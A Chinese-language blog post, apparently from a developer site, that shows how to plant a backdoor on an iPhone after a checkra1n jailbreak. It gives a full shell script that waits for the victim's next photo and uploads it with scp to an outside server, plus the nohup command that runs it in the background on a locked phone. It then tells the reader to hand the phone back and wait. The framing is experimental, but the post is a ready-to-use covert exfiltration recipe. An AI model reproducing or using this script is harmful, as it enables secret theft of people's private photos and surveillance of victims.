上篇文章提到,透過 checkra1n,攻擊者將可以輕鬆植入間諜軟體後門。本人基於實驗精神,並且為了解答大部分的人的疑惑:「如何在沒有密碼的情況下可以進行資料盜取」,本文將簡單用 shell script 做一個自動發送照片的後門指令。
首先,必須準備受 checkm8 影響的裝置,以及使用 checkra1n 軟體。
在此範例中,我們要嘗試盜取使用者的照片,但透過 checkra1n 越獄之後,因為在開機後需要輸入一次密碼,後續才可以「讀取」使用者資料,未輸入密碼前只能「列表」使用者資料。所以不知道密碼的攻擊者在這個時候還不能獲得照片資料,但是攻擊者已經可以開始準備後門。
請注意,系統區跟使用者資料區是分開的,在沒有密碼的情況下,攻擊者可以直接寫入系統區的 /tmp 路徑,甚至不需要重新掛載根目錄
所以我簡單寫了一個 shell script:
#!/binpack/bin/bash while [[ ! -f "/var/mobile/Media/DCIM/100APPLE/IMG_0010.JPG" ]] do ls /var/mobile/Media/DCIM/100APPLE/ sleep 2 done echo "ok" scp -i /var/root/.ssh/id_rsa /var/mobile/Media/DCIM/100APPLE/IMG_0010.JPG hackyour@kinta.ma:/tmp/
假設我們已知受害者目前在手機上已經拍過九張照片,因此下次拍照的檔名會叫 IMG_0010.JPG。所以這個 script 就是每兩秒檢查一下 IMG_0010.JPG 存不存在,不存在的話則繼續等待,一旦檔案存在,就傳送到遠端主機。當然,指令可以不必寫這麼死,可以更彈性地上傳所有相片,不過這邊只是一個簡單的範例而已。
checkra1n 越獄後預設就有 scp 傳送跟接收功能,也有 vim 可以編輯檔案。因此可以把 scp 用到的 ssh key 丟進去手機裡面,由於手機的 ssh 實際上是 dropbear,因此 key 要先自行從 OpenSSH 格式轉換為 dropbear 格式。此外可以使用 vim 把指令寫到 /tmp 裡面。
接著在電腦的終端機( iPhone 沒有解鎖下)輸入指令:
nohup /tmp/hack.sh &>/tmp/hack.txt &
感謝 checkra1n,內建附送我們 nohup 跟 scp 兩個指令,讓我不需要再去自行編譯。下了這個指令之後,我們上面寫的 shell script 就會在背景執行了。
以上就完成了植入惡意指令部分了,接下來只要把手機還給受害者,等待他下一次拍照時,若手機在期間沒有重啟過,因為那時候手機必定是解鎖狀態(受害者用自己密碼解鎖),被入侵的 iPhone 就會自動上傳該照片到我們的伺服器了,收工!
這篇文章 iOS checkra1n 越獄受影響裝置之惡意指令快速實作 最早出現於 Hiraku Dev。